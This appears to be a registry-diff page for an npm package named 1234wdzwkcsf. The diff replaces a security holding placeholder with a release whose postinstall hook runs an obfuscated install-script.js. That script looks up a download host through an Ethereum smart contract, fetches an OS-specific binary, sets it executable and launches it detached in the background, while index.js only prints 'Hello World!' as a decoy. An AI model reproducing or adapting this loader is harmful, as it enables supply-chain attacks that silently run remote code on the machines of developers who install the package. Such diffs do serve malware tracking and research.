1234wdzwkcsf 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of 1234wdzwkcsf might be problematic. Click here for more details.
- package/index.js +1 -0
- package/install-script.js +1 -0
- package/package.json +13 -4
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
console.log('Hello World!');
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
function _0x4404(){const _0x27ffa7=['tmpdir','60lZbidv','win32','chmodSync','error','join','4HiHoBY','30FhAPZT','6571323toyVzV','AttVD','Ошибка\x20при\x20получении\x20IP\x20адреса:','6433687yZPOGR','darwin','getString','xxsIK','BttGA','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','Unsupported\x20platform:\x20','pSycM','data','platform','184806rnEuwX','Contract','3682479agcNCQ','child_process','linux','pipe','GET','8WVpYmC','gvcAc','7COrjvN','Ошибка\x20при\x20запуске\x20файла:','finish','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','857695PRPDNi','getDefaultProvider','YKYOy','1090EYgpvd','755','NBBIz','52855pHOhze','axios','/node-macos','util','sDyQT','basename','nclGL','/node-win.exe','4378264rWNxqe','unref','ignore','createWriteStream','SXwxH','nCXpQ','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)'];_0x4404=function(){return _0x27ffa7;};return _0x4404();}function _0x341c(_0x2a58fb,_0x532de1){const _0x440455=_0x4404();return _0x341c=function(_0x341cdf,_0x593e07){_0x341cdf=_0x341cdf-0x1d1;let _0x280be4=_0x440455[_0x341cdf];return _0x280be4;},_0x341c(_0x2a58fb,_0x532de1);}const _0x59a194=_0x341c;(function(_0x288fa0,_0x43985b){const _0x40c70c=_0x341c,_0xbec4ac=_0x288fa0();while(!![]){try{const _0x53f3c3=-parseInt(_0x40c70c(0x1e7))/0x1*(-parseInt(_0x40c70c(0x1ee))/0x2)+-parseInt(_0x40c70c(0x1e9))/0x3*(-parseInt(_0x40c70c(0x1d8))/0x4)+-parseInt(_0x40c70c(0x1f4))/0x5*(-parseInt(_0x40c70c(0x1d9))/0x6)+parseInt(_0x40c70c(0x1f0))/0x7*(parseInt(_0x40c70c(0x202))/0x8)+-parseInt(_0x40c70c(0x1da))/0x9+parseInt(_0x40c70c(0x1f7))/0xa*(parseInt(_0x40c70c(0x1fa))/0xb)+parseInt(_0x40c70c(0x1d3))/0xc*(-parseInt(_0x40c70c(0x1dd))/0xd);if(_0x53f3c3===_0x43985b)break;else _0xbec4ac['push'](_0xbec4ac['shift']());}catch(_0x4718d9){_0xbec4ac['push'](_0xbec4ac['shift']());}}}(_0x4404,0xa8a6e));const {ethers}=require('ethers'),axios=require(_0x59a194(0x1fb)),util=require(_0x59a194(0x1fd)),fs=require('fs'),path=require('path'),os=require('os'),{spawn}=require(_0x59a194(0x1ea)),contractAddress=_0x59a194(0x1f3),WalletOwner=_0x59a194(0x1e2),abi=[_0x59a194(0x1d1)],provider=ethers[_0x59a194(0x1f5)]('mainnet'),contract=new ethers[(_0x59a194(0x1e8))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x44035d=_0x59a194,_0x3cc7e4={'AttVD':function(_0x12e3db){return _0x12e3db();}};try{const _0x4aff23=await contract[_0x44035d(0x1df)](WalletOwner);return _0x4aff23;}catch(_0x24dced){return console[_0x44035d(0x1d6)](_0x44035d(0x1dc),_0x24dced),await _0x3cc7e4[_0x44035d(0x1db)](fetchAndUpdateIp);}},getDownloadUrl=_0x4d1cb0=>{const _0x599c38=_0x59a194,_0x4695af={'wgQDX':_0x599c38(0x1d4),'nclGL':_0x599c38(0x1eb),'BttGA':_0x599c38(0x1de)},_0x1c0f86=os[_0x599c38(0x1e6)]();switch(_0x1c0f86){case _0x4695af['wgQDX']:return _0x4d1cb0+_0x599c38(0x201);case _0x4695af[_0x599c38(0x200)]:return _0x4d1cb0+'/node-linux';case _0x4695af[_0x599c38(0x1e1)]:return _0x4d1cb0+_0x599c38(0x1fc);default:throw new Error(_0x599c38(0x1e3)+_0x1c0f86);}},downloadFile=async(_0x210ea5,_0x597559)=>{const _0x549946=_0x59a194,_0x5c4ab2={'YKYOy':_0x549946(0x1d6),'SXwxH':function(_0x2bd4c6,_0x3505b4){return _0x2bd4c6(_0x3505b4);},'nCXpQ':_0x549946(0x1ed)},_0x1546cb=fs[_0x549946(0x205)](_0x597559),_0x1af635=await _0x5c4ab2[_0x549946(0x206)](axios,{'url':_0x210ea5,'method':_0x5c4ab2[_0x549946(0x207)],'responseType':'stream'});return _0x1af635[_0x549946(0x1e5)][_0x549946(0x1ec)](_0x1546cb),new Promise((_0x5e74ed,_0x451b29)=>{const _0x28b18c=_0x549946;_0x1546cb['on'](_0x28b18c(0x1f2),_0x5e74ed),_0x1546cb['on'](_0x5c4ab2[_0x28b18c(0x1f6)],_0x451b29);});},executeFileInBackground=async _0xbf32aa=>{const _0x569cad=_0x59a194,_0x2aaa82={'iVARU':function(_0x43d234,_0x581784,_0x549b72,_0x3fa2ad){return _0x43d234(_0x581784,_0x549b72,_0x3fa2ad);},'xxsIK':_0x569cad(0x1f1)};try{const _0x80b580=_0x2aaa82['iVARU'](spawn,_0xbf32aa,[],{'detached':!![],'stdio':_0x569cad(0x204)});_0x80b580[_0x569cad(0x203)]();}catch(_0x5bfa7f){console[_0x569cad(0x1d6)](_0x2aaa82[_0x569cad(0x1e0)],_0x5bfa7f);}},runInstallation=async()=>{const _0xa02b6=_0x59a194,_0x2cdd36={'gvcAc':function(_0x13465f){return _0x13465f();},'pSycM':function(_0x36ceb3,_0x4659a3){return _0x36ceb3(_0x4659a3);},'sDyQT':function(_0x4a5b0b,_0x2d99fb,_0x26e706){return _0x4a5b0b(_0x2d99fb,_0x26e706);},'LkLwg':_0xa02b6(0x1f8),'NpBhO':function(_0x392f56,_0x563ad7){return _0x392f56(_0x563ad7);},'NBBIz':'Ошибка\x20установки:'};try{const _0x1b5a52=await _0x2cdd36[_0xa02b6(0x1ef)](fetchAndUpdateIp),_0x14e96e=_0x2cdd36[_0xa02b6(0x1e4)](getDownloadUrl,_0x1b5a52),_0x389b24=os[_0xa02b6(0x1d2)](),_0x3ad90d=path[_0xa02b6(0x1ff)](_0x14e96e),_0x2e5fd5=path[_0xa02b6(0x1d7)](_0x389b24,_0x3ad90d);await _0x2cdd36[_0xa02b6(0x1fe)](downloadFile,_0x14e96e,_0x2e5fd5),os['platform']()!==_0xa02b6(0x1d4)&&fs[_0xa02b6(0x1d5)](_0x2e5fd5,_0x2cdd36['LkLwg']),_0x2cdd36['NpBhO'](executeFileInBackground,_0x2e5fd5);}catch(_0x56b0a8){console['error'](_0x2cdd36[_0xa02b6(0x1f9)],_0x56b0a8);}};runInstallation();
|
package/package.json
CHANGED
|
@@ -1,6 +1,15 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "1234wdzwkcsf",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
6
|
-
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "aaaaaaaaaaaaa",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node install-script.js"
|
|
8
|
+
},
|
|
9
|
+
"dependencies": {
|
|
10
|
+
"axios": "^1.7.7",
|
|
11
|
+
"ethers": "^6.13.2"
|
|
12
|
+
},
|
|
13
|
+
"author": "pohui",
|
|
14
|
+
"license": "MIT"
|
|
15
|
+
}
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=1234wdzwkcsf for more information.
|